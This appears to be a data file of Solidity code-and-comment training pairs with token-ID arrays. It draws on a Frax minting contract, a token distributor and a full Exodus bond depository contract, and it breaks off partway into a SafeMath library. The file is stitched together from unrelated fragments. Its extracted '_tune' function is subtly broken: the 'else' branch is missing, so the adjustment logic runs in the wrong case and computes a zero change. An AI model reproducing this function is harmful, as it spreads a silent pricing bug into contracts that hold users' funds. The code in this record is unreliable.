onlyByOwnerOrGovernance { require(new_timelock != address(0), "Timelock address cannot be 0"); timelock_address = new_timelock; } function setCustodian(address _custodian_address) external onlyByOwnerOrGovernance { require(_custodian_address != address(0), "Custodian address cannot be 0"); custodian_address = _custodian_address; } function setPool(address _pool_address) external onlyByOwnerOrGovernance { pool_address = _pool_address; pool = FraxPool(_pool_address); } function setMintCap(uint256 _mint_cap) external onlyByOwnerOrGovernance { mint_cap = _mint_cap; } function setMinimumCollateralRatio(uint256 _min_cr) external onlyByOwnerOrGovernance { min_cr = _min_cr; } function setAllowedStrategies(bool _cream, bool _finnexus) external onlyByOwnerOrGovernance { allow_cream = _cream; allow_finnexus = _finnexus; } function setOverrideCollatBalance(bool _state, uint256 _balance) external onlyByOwnerOrGovernance { override_collat_balance = _state; override_collat_balance_amount = _balance; } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Can only be triggered by owner or governance, not custodian // Tokens are sent to the custodian, as a sort of safeguard TransferHelper.safeTransfer(tokenAddress, custodian_address, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } /* ========== EVENTS ========== */ event Recovered(address token, uint256 amount); }
This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from on the main FRAX contract Make sure you aren't minting more than the mint cap Make sure the current CR isn't already too low Make sure the FRAX minting wouldn't push the CR down too much Mint the frax
function mintFRAXForInvestments(uint256 frax_amount) public onlyByOwnerOrGovernance { uint256 borrowed_balance = mintedBalance(); require(borrowed_balance.add(frax_amount) <= mint_cap, "Borrow cap reached"); minted_sum_historical = minted_sum_historical.add(frax_amount); require (FRAX.global_collateral_ratio() > min_cr, "Collateral ratio is already too low"); uint256 current_collateral_E18 = (FRAX.globalCollateralValue()).mul(10 ** missing_decimals); uint256 cur_frax_supply = FRAX.totalSupply(); uint256 new_frax_supply = cur_frax_supply.add(frax_amount); uint256 new_cr = (current_collateral_E18.mul(PRICE_PRECISION)).div(new_frax_supply); require (new_cr > min_cr, "Minting would cause collateral ratio to be too low"); FRAX.pool_mint(address(this), frax_amount); }
12,735,830
[ 1, 2503, 6835, 353, 18518, 11220, 9350, 487, 279, 296, 6011, 11, 1427, 518, 848, 745, 5098, 16639, 4186, 3007, 2845, 67, 81, 474, 471, 2845, 67, 70, 321, 67, 2080, 603, 326, 2774, 14583, 2501, 6835, 4344, 3071, 1846, 11526, 1404, 312, 474, 310, 1898, 2353, 326, 312, 474, 3523, 4344, 3071, 326, 783, 6732, 5177, 1404, 1818, 4885, 4587, 4344, 3071, 326, 14583, 2501, 312, 474, 310, 4102, 82, 1404, 1817, 326, 6732, 2588, 4885, 9816, 490, 474, 326, 284, 354, 92, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 9981, 2501, 1290, 3605, 395, 1346, 12, 11890, 5034, 284, 354, 92, 67, 8949, 13, 1071, 1338, 858, 5541, 1162, 43, 1643, 82, 1359, 288, 203, 3639, 2254, 5034, 29759, 329, 67, 12296, 273, 312, 474, 329, 13937, 5621, 203, 203, 3639, 2583, 12, 70, 15318, 329, 67, 12296, 18, 1289, 12, 74, 354, 92, 67, 8949, 13, 1648, 312, 474, 67, 5909, 16, 315, 38, 15318, 3523, 8675, 8863, 203, 3639, 312, 474, 329, 67, 1364, 67, 11488, 10129, 273, 312, 474, 329, 67, 1364, 67, 11488, 10129, 18, 1289, 12, 74, 354, 92, 67, 8949, 1769, 203, 203, 3639, 2583, 261, 9981, 2501, 18, 6347, 67, 12910, 2045, 287, 67, 9847, 1435, 405, 1131, 67, 3353, 16, 315, 13535, 2045, 287, 7169, 353, 1818, 4885, 4587, 8863, 203, 203, 3639, 2254, 5034, 783, 67, 12910, 2045, 287, 67, 41, 2643, 273, 261, 9981, 2501, 18, 6347, 13535, 2045, 287, 620, 1435, 2934, 16411, 12, 2163, 2826, 3315, 67, 31734, 1769, 203, 3639, 2254, 5034, 662, 67, 74, 354, 92, 67, 2859, 1283, 273, 14583, 2501, 18, 4963, 3088, 1283, 5621, 203, 3639, 2254, 5034, 394, 67, 74, 354, 92, 67, 2859, 1283, 273, 662, 67, 74, 354, 92, 67, 2859, 1283, 18, 1289, 12, 74, 354, 92, 67, 8949, 1769, 203, 3639, 2254, 5034, 394, 67, 3353, 273, 261, 2972, 67, 12910, 2045, 287, 67, 41, 2643, 18, 16411, 12, 7698, 1441, 67, 3670, 26913, 13, 2934, 2892, 12, 2704, 67, 74, 354, 92, 67, 2859, 1283, 1769, 2 ]
./partial_match/1/0x3A5b1956fE9418A4765FC3C719C9cfeA44d291ca/sources/TokenDistributor.sol
Check array length (optional but safe)
require(amounts.length == 2, "Unexpected number of amounts");
16,044,624
[ 1, 1564, 526, 769, 261, 10444, 1496, 4183, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 8949, 87, 18, 2469, 422, 576, 16, 315, 7762, 1300, 434, 30980, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.10; import "./types/NoteKeeper.sol"; import "./libraries/SafeERC20.sol"; import "./interfaces/IERC20Metadata.sol"; import "./interfaces/IBondDepository.sol"; /// @title Olympus Bond Depository V2 /// @author Zeus, Indigo /// Review by: JeffX contract ExodusBondDepositoryV2 is IBondDepository, NoteKeeper { /* ======== DEPENDENCIES ======== */ using SafeERC20 for IERC20; /* ======== EVENTS ======== */ event CreateMarket(uint256 indexed id, address indexed baseToken, address indexed quoteToken, uint256 initialPrice); event CloseMarket(uint256 indexed id); event Bond(uint256 indexed id, uint256 amount, uint256 price); event Tuned(uint256 indexed id, uint64 oldControlVariable, uint64 newControlVariable); /* ======== STATE VARIABLES ======== */ // Storage Market[] public markets; // persistent market data Terms[] public terms; // deposit construction data Metadata[] public metadata; // extraneous market data mapping(uint256 => Adjustment) public adjustments; // control variable changes // Queries mapping(address => uint256[]) public marketsForQuote; // market IDs for quote token /* ======== CONSTRUCTOR ======== */ constructor( IExodusAuthority _authority, IERC20 _exo, IgEXO _gexo, IStaking _staking, ITreasury _treasury ) NoteKeeper(_authority, _exo, _gexo, _staking, _treasury) { // save gas for users by bulk approving stake() transactions _exo.approve(address(_staking), 1e45); } /* ======== DEPOSIT ======== */ /** * @notice deposit quote tokens in exchange for a bond from a specified market * @param _id the ID of the market * @param _amount the amount of quote token to spend * @param _maxPrice the maximum price at which to buy * @param _user the recipient of the payout * @param _referral the front end operator address * @return payout_ the amount of gOHM due * @return expiry_ the timestamp at which payout is redeemable * @return index_ the user index of the Note (used to redeem or query information) */ function deposit( uint256 _id, uint256 _amount, uint256 _maxPrice, address _user, address _referral ) external override returns ( uint256 payout_, uint256 expiry_, uint256 index_ ) { Market storage market = markets[_id]; Terms memory term = terms[_id]; uint48 currentTime = uint48(block.timestamp); // Markets end at a defined timestamp // |-------------------------------------| t require(currentTime < term.conclusion, "Depository: market concluded"); // Debt and the control variable decay over time _decay(_id, currentTime); // Users input a maximum price, which protects them from price changes after // entering the mempool. max price is a slippage mitigation measure uint256 price = _marketPrice(_id); require(price <= _maxPrice, "Depository: more than max price"); /** * payout for the deposit = amount / price * * where * payout = OHM out * amount = quote tokens in * price = quote tokens : ohm (i.e. 42069 DAI : OHM) * * 1e18 = OHM decimals (9) + price decimals (9) */ payout_ = ((_amount * 1e18) / price) / (10**metadata[_id].quoteDecimals); // markets have a max payout amount, capping size because deposits // do not experience slippage. max payout is recalculated upon tuning require(payout_ <= market.maxPayout, "Depository: max size exceeded"); /* * each market is initialized with a capacity * * this is either the number of OHM that the market can sell * (if capacity in quote is false), * * or the number of quote tokens that the market can buy * (if capacity in quote is true) */ market.capacity -= market.capacityInQuote ? _amount : payout_; /** * bonds mature with a cliff at a set timestamp * prior to the expiry timestamp, no payout tokens are accessible to the user * after the expiry timestamp, the entire payout can be redeemed * * there are two types of bonds: fixed-term and fixed-expiration * * fixed-term bonds mature in a set amount of time from deposit * i.e. term = 1 week. when alice deposits on day 1, her bond * expires on day 8. when bob deposits on day 2, his bond expires day 9. * * fixed-expiration bonds mature at a set timestamp * i.e. expiration = day 10. when alice deposits on day 1, her term * is 9 days. when bob deposits on day 2, his term is 8 days. */ expiry_ = term.fixedTerm ? term.vesting + currentTime : term.vesting; // markets keep track of how many quote tokens have been // purchased, and how much OHM has been sold market.purchased += _amount; market.sold += uint64(payout_); // incrementing total debt raises the price of the next bond market.totalDebt += uint64(payout_); emit Bond(_id, _amount, price); /** * user data is stored as Notes. these are isolated array entries * storing the amount due, the time created, the time when payout * is redeemable, the time when payout was redeemed, and the ID * of the market deposited into */ index_ = addNote(_user, payout_, uint48(expiry_), uint48(_id), _referral); // transfer payment to treasury market.quoteToken.safeTransferFrom(msg.sender, address(treasury), _amount); // if max debt is breached, the market is closed // this a circuit breaker if (term.maxDebt < market.totalDebt) { market.capacity = 0; emit CloseMarket(_id); } else { // if market will continue, the control variable is tuned to hit targets on time _tune(_id, currentTime); } } /** * @notice decay debt, and adjust control variable if there is an active change * @param _id ID of market * @param _time uint48 timestamp (saves gas when passed in) */ function _decay(uint256 _id, uint48 _time) internal { // Debt decay /* * Debt is a time-decayed sum of tokens spent in a market * Debt is added when deposits occur and removed over time * | * | debt falls with * | / \ inactivity / \ * | / \ /\/ \ * | \ / \ * | \ /\/ \ * | \ / and rises \ * | with deposits * | * |------------------------------------| t */ markets[_id].totalDebt -= debtDecay(_id); metadata[_id].lastDecay = _time; // Control variable decay // The bond control variable is continually tuned. When it is lowered (which // lowers the market price), the change is carried out smoothly over time. if (adjustments[_id].active) { Adjustment storage adjustment = adjustments[_id]; (uint64 adjustBy, uint48 secondsSince, bool stillActive) = _controlDecay(_id); terms[_id].controlVariable -= adjustBy; if (stillActive) { adjustment.change -= adjustBy; adjustment.timeToAdjusted -= secondsSince; adjustment.lastAdjustment = _time; } else { adjustment.active = false; } } } /** * @notice auto-adjust control variable to hit capacity/spend target * @param _id ID of market * @param _time uint48 timestamp (saves gas when passed in) */ function _tune(uint256 _id, uint48 _time) internal { Metadata memory meta = metadata[_id]; if (_time >= meta.lastTune + meta.tuneInterval) { Market memory market = markets[_id]; // compute seconds remaining until market will conclude uint256 timeRemaining = terms[_id].conclusion - _time; uint256 price = _marketPrice(_id); // standardize capacity into an base token amount // ohm decimals (9) + price decimals (9) uint256 capacity = market.capacityInQuote ? ((market.capacity * 1e18) / price) / (10**meta.quoteDecimals) : market.capacity; /** * calculate the correct payout to complete on time assuming each bond * will be max size in the desired deposit interval for the remaining time * * i.e. market has 10 days remaining. deposit interval is 1 day. capacity * is 10,000 OHM. max payout would be 1,000 OHM (10,000 * 1 / 10). */ markets[_id].maxPayout = uint64((capacity * meta.depositInterval) / timeRemaining); // calculate the ideal total debt to satisfy capacity in the remaining time uint256 targetDebt = (capacity * meta.length) / timeRemaining; // derive a new control variable from the target debt and current supply uint64 newControlVariable = uint64((price * treasury.baseSupply()) / targetDebt); emit Tuned(_id, terms[_id].controlVariable, newControlVariable); if (newControlVariable >= terms[_id].controlVariable) { terms[_id].controlVariable = newControlVariable; } else { // if decrease, control variable change will be carried out over the tune interval // this is because price will be lowered uint64 change = terms[_id].controlVariable - newControlVariable; adjustments[_id] = Adjustment(change, _time, meta.tuneInterval, true); } metadata[_id].lastTune = _time; } } /* ======== CREATE ======== */ /** * @notice creates a new market type * @dev current price should be in 9 decimals. * @param _quoteToken token used to deposit * @param _market [capacity (in OHM or quote), initial price / OHM (9 decimals), debt buffer (3 decimals)] * @param _booleans [capacity in quote, fixed term] * @param _terms [vesting length (if fixed term) or vested timestamp, conclusion timestamp] * @param _intervals [deposit interval (seconds), tune interval (seconds)] * @return id_ ID of new bond market */ function create( IERC20 _quoteToken, uint256[3] memory _market, bool[2] memory _booleans, uint256[2] memory _terms, uint32[2] memory _intervals ) external override onlyPolicy returns (uint256 id_) { // the length of the program, in seconds uint256 secondsToConclusion = _terms[1] - block.timestamp; // the decimal count of the quote token uint256 decimals = IERC20Metadata(address(_quoteToken)).decimals(); /* * initial target debt is equal to capacity (this is the amount of debt * that will decay over in the length of the program if price remains the same). * it is converted into base token terms if passed in in quote token terms. * * 1e18 = ohm decimals (9) + initial price decimals (9) */ uint64 targetDebt = uint64(_booleans[0] ? ((_market[0] * 1e18) / _market[1]) / 10**decimals : _market[0]); /* * max payout is the amount of capacity that should be utilized in a deposit * interval. for example, if capacity is 1,000 OHM, there are 10 days to conclusion, * and the preferred deposit interval is 1 day, max payout would be 100 OHM. */ uint64 maxPayout = uint64((targetDebt * _intervals[0]) / secondsToConclusion); /* * max debt serves as a circuit breaker for the market. let's say the quote * token is a stablecoin, and that stablecoin depegs. without max debt, the * market would continue to buy until it runs out of capacity. this is * configurable with a 3 decimal buffer (1000 = 1% above initial price). * note that its likely advisable to keep this buffer wide. * note that the buffer is above 100%. i.e. 10% buffer = initial debt * 1.1 */ uint256 maxDebt = targetDebt + ((targetDebt * _market[2]) / 1e5); // 1e5 = 100,000. 10,000 / 100,000 = 10%. /* * the control variable is set so that initial price equals the desired * initial price. the control variable is the ultimate determinant of price, * so we compute this last. * * price = control variable * debt ratio * debt ratio = total debt / supply * therefore, control variable = price / debt ratio */ uint256 controlVariable = (_market[1] * treasury.baseSupply()) / targetDebt; // depositing into, or getting info for, the created market uses this ID id_ = markets.length; markets.push( Market({ quoteToken: _quoteToken, capacityInQuote: _booleans[0], capacity: _market[0], totalDebt: targetDebt, maxPayout: maxPayout, purchased: 0, sold: 0 }) ); terms.push( Terms({ fixedTerm: _booleans[1], controlVariable: uint64(controlVariable), vesting: uint48(_terms[0]), conclusion: uint48(_terms[1]), maxDebt: uint64(maxDebt) }) ); metadata.push( Metadata({ lastTune: uint48(block.timestamp), lastDecay: uint48(block.timestamp), length: uint48(secondsToConclusion), depositInterval: _intervals[0], tuneInterval: _intervals[1], quoteDecimals: uint8(decimals) }) ); marketsForQuote[address(_quoteToken)].push(id_); emit CreateMarket(id_, address(exo), address(_quoteToken), _market[1]); } /** * @notice disable existing market * @param _id ID of market to close */ function close(uint256 _id) external override onlyPolicy { terms[_id].conclusion = uint48(block.timestamp); markets[_id].capacity = 0; emit CloseMarket(_id); } /* ======== EXTERNAL VIEW ======== */ /** * @notice calculate current market price of quote token in base token * @dev accounts for debt and control variable decay since last deposit (vs _marketPrice()) * @param _id ID of market * @return price for market in EXO decimals * * price is derived from the equation * * p = cv * dr * * where * p = price * cv = control variable * dr = debt ratio * * dr = d / s * * where * d = debt * s = supply of token at market creation * * d -= ( d * (dt / l) ) * * where * dt = change in time * l = length of program */ function marketPrice(uint256 _id) public view override returns (uint256) { return (currentControlVariable(_id) * debtRatio(_id)) / (10**metadata[_id].quoteDecimals); } /** * @notice payout due for amount of quote tokens * @dev accounts for debt and control variable decay so it is up to date * @param _amount amount of quote tokens to spend * @param _id ID of market * @return amount of EXO to be paid in EXO decimals * * @dev 1e18 = exo decimals (9) + market price decimals (9) */ function payoutFor(uint256 _amount, uint256 _id) external view override returns (uint256) { Metadata memory meta = metadata[_id]; return (_amount * 1e18) / marketPrice(_id) / 10**meta.quoteDecimals; } /** * @notice calculate current ratio of debt to supply * @dev uses current debt, which accounts for debt decay since last deposit (vs _debtRatio()) * @param _id ID of market * @return debt ratio for market in quote decimals */ function debtRatio(uint256 _id) public view override returns (uint256) { return (currentDebt(_id) * (10**metadata[_id].quoteDecimals)) / treasury.baseSupply(); } /** * @notice calculate debt factoring in decay * @dev accounts for debt decay since last deposit * @param _id ID of market * @return current debt for market in OHM decimals */ function currentDebt(uint256 _id) public view override returns (uint256) { return markets[_id].totalDebt - debtDecay(_id); } /** * @notice amount of debt to decay from total debt for market ID * @param _id ID of market * @return amount of debt to decay */ function debtDecay(uint256 _id) public view override returns (uint64) { Metadata memory meta = metadata[_id]; uint256 secondsSince = block.timestamp - meta.lastDecay; return uint64((markets[_id].totalDebt * secondsSince) / meta.length); } /** * @notice up to date control variable * @dev accounts for control variable adjustment * @param _id ID of market * @return control variable for market in OHM decimals */ function currentControlVariable(uint256 _id) public view returns (uint256) { (uint64 decay, , ) = _controlDecay(_id); return terms[_id].controlVariable - decay; } /** * @notice is a given market accepting deposits * @param _id ID of market */ function isLive(uint256 _id) public view override returns (bool) { return (markets[_id].capacity != 0 && terms[_id].conclusion > block.timestamp); } /** * @notice returns an array of all active market IDs */ function liveMarkets() external view override returns (uint256[] memory) { uint256 num; for (uint256 i = 0; i < markets.length; i++) { if (isLive(i)) num++; } uint256[] memory ids = new uint256[](num); uint256 nonce; for (uint256 i = 0; i < markets.length; i++) { if (isLive(i)) { ids[nonce] = i; nonce++; } } return ids; } /** * @notice returns an array of all active market IDs for a given quote token * @param _token quote token to check for */ function liveMarketsFor(address _token) external view override returns (uint256[] memory) { uint256[] memory mkts = marketsForQuote[_token]; uint256 num; for (uint256 i = 0; i < mkts.length; i++) { if (isLive(mkts[i])) num++; } uint256[] memory ids = new uint256[](num); uint256 nonce; for (uint256 i = 0; i < mkts.length; i++) { if (isLive(mkts[i])) { ids[nonce] = mkts[i]; nonce++; } } return ids; } /* ======== INTERNAL VIEW ======== */ /** * @notice calculate current market price of quote token in base token * @dev see marketPrice() for explanation of price computation * @dev uses info from storage because data has been updated before call (vs marketPrice()) * @param _id market ID * @return price for market in OHM decimals */ function _marketPrice(uint256 _id) internal view returns (uint256) { return (terms[_id].controlVariable * _debtRatio(_id)) / (10**metadata[_id].quoteDecimals); } /** * @notice calculate debt factoring in decay * @dev uses info from storage because data has been updated before call (vs debtRatio()) * @param _id market ID * @return current debt for market in quote decimals */ function _debtRatio(uint256 _id) internal view returns (uint256) { return (markets[_id].totalDebt * (10**metadata[_id].quoteDecimals)) / treasury.baseSupply(); } /** * @notice amount to decay control variable by * @param _id ID of market * @return decay_ change in control variable * @return secondsSince_ seconds since last change in control variable * @return active_ whether or not change remains active */ function _controlDecay(uint256 _id) internal view returns ( uint64 decay_, uint48 secondsSince_, bool active_ ) { Adjustment memory info = adjustments[_id]; if (!info.active) return (0, 0, false); secondsSince_ = uint48(block.timestamp) - info.lastAdjustment; active_ = secondsSince_ < info.timeToAdjusted; decay_ = active_ ? (info.change * secondsSince_) / info.timeToAdjusted : info.change; } }
* @notice auto-adjust control variable to hit capacity/spend target @param _id ID of market @param _time uint48 timestamp (saves gas when passed in)/ compute seconds remaining until market will conclude standardize capacity into an base token amount ohm decimals (9) + price decimals (9) calculate the ideal total debt to satisfy capacity in the remaining time derive a new control variable from the target debt and current supply if decrease, control variable change will be carried out over the tune interval this is because price will be lowered
function _tune(uint256 _id, uint48 _time) internal { Metadata memory meta = metadata[_id]; if (_time >= meta.lastTune + meta.tuneInterval) { Market memory market = markets[_id]; uint256 timeRemaining = terms[_id].conclusion - _time; uint256 price = _marketPrice(_id); uint256 capacity = market.capacityInQuote ? ((market.capacity * 1e18) / price) / (10**meta.quoteDecimals) : market.capacity; markets[_id].maxPayout = uint64((capacity * meta.depositInterval) / timeRemaining); uint256 targetDebt = (capacity * meta.length) / timeRemaining; uint64 newControlVariable = uint64((price * treasury.baseSupply()) / targetDebt); emit Tuned(_id, terms[_id].controlVariable, newControlVariable); if (newControlVariable >= terms[_id].controlVariable) { terms[_id].controlVariable = newControlVariable; uint64 change = terms[_id].controlVariable - newControlVariable; adjustments[_id] = Adjustment(change, _time, meta.tuneInterval, true); } metadata[_id].lastTune = _time; } }
12,969,442
[ 1, 6079, 17, 13362, 3325, 2190, 358, 6800, 7519, 19, 87, 1302, 1018, 225, 389, 350, 1850, 1599, 434, 13667, 225, 389, 957, 3639, 2254, 8875, 2858, 261, 87, 6606, 16189, 1347, 2275, 316, 13176, 3671, 3974, 4463, 3180, 13667, 903, 356, 1571, 4529, 554, 7519, 1368, 392, 1026, 1147, 3844, 29797, 81, 15105, 261, 29, 13, 397, 6205, 15105, 261, 29, 13, 4604, 326, 23349, 2078, 18202, 88, 358, 18866, 7519, 316, 326, 4463, 813, 14763, 279, 394, 3325, 2190, 628, 326, 1018, 18202, 88, 471, 783, 14467, 309, 20467, 16, 3325, 2190, 2549, 903, 506, 5926, 24012, 596, 1879, 326, 268, 7556, 3673, 333, 353, 2724, 6205, 903, 506, 2612, 329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 88, 7556, 12, 11890, 5034, 389, 350, 16, 2254, 8875, 389, 957, 13, 2713, 288, 203, 3639, 6912, 3778, 2191, 273, 1982, 63, 67, 350, 15533, 203, 203, 3639, 309, 261, 67, 957, 1545, 2191, 18, 2722, 56, 7556, 397, 2191, 18, 88, 7556, 4006, 13, 288, 203, 5411, 6622, 278, 3778, 13667, 273, 2267, 2413, 63, 67, 350, 15533, 203, 203, 5411, 2254, 5034, 813, 11429, 273, 6548, 63, 67, 350, 8009, 591, 15335, 300, 389, 957, 31, 203, 5411, 2254, 5034, 6205, 273, 389, 27151, 5147, 24899, 350, 1769, 203, 203, 5411, 2254, 5034, 7519, 273, 13667, 18, 16017, 382, 10257, 203, 7734, 692, 14015, 27151, 18, 16017, 380, 404, 73, 2643, 13, 342, 6205, 13, 342, 261, 2163, 636, 3901, 18, 6889, 31809, 13, 203, 7734, 294, 13667, 18, 16017, 31, 203, 203, 5411, 2267, 2413, 63, 67, 350, 8009, 1896, 52, 2012, 273, 2254, 1105, 12443, 16017, 380, 2191, 18, 323, 1724, 4006, 13, 342, 813, 11429, 1769, 203, 203, 5411, 2254, 5034, 1018, 758, 23602, 273, 261, 16017, 380, 2191, 18, 2469, 13, 342, 813, 11429, 31, 203, 203, 5411, 2254, 1105, 394, 3367, 3092, 273, 2254, 1105, 12443, 8694, 380, 9787, 345, 22498, 18, 1969, 3088, 1283, 10756, 342, 1018, 758, 23602, 1769, 203, 203, 5411, 3626, 399, 20630, 24899, 350, 16, 6548, 63, 67, 350, 8009, 7098, 3092, 16, 394, 3367, 3092, 1769, 203, 203, 5411, 309, 261, 2704, 3367, 3092, 1545, 6548, 63, 67, 350, 8009, 7098, 3092, 13, 288, 203, 7734, 6548, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.6.4 https://hardhat.org // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of 